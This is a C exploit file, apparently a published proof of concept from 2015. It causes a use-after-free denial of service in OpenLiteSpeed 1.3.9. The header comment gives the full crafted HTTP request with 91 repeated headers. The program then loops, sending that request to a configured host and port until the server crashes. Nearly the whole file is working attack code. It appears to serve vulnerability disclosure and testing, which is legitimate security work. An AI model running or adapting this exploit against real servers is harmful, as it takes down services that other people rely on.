/* *   Openlitespeed 1.3.9 Use After Free denial of service exploit. * *   This exploit triggers a denial of service condition within the Openlitespeed web  *   server. This is achieved by sending a tampered request contain a large number (91) *   of 'a: a' header rows. By looping this request, a memmove call within the HttpReq *   class is triggered with a freed pointer, resulting in a reference to an invalid *   memory location and thus a segmentation fault. * *   UAF Request: *   GET / HTTP/1.0 *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *   a: a *    *   The above request should be placed into a file name 'uafcrash' prior to running this *   exploit code. * *   Date: 24/03/2015 *   Author: Denis Andzakovic - Security-Assessment.com * */   #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <errno.h>    extern int errno;    int main(int argc, char ** argv){     FILE * fp;     size_t len = 0;     char * line;     if((fp = fopen("uafcrash", "r")) == NULL){         fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno));         return 1;     }        char * host = "127.0.0.1";     int port = 8088;     int count = 0;      int sock;     struct sockaddr_in serv_addr;     while(1){         if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){             fprintf(stderr, "[!] Error: Could not create socket \n");             return 1;         }             serv_addr.sin_family = AF_INET;         serv_addr.sin_port = htons(port);         inet_pton(AF_INET, host, &serv_addr.sin_addr);            if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){             fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count);             close(sock);             return 1;         }         while ((getline(&line, &len, fp)) != -1){                write(sock, line, strlen(line));         }            close(sock);         rewind(fp);         count++;     }        return 42; }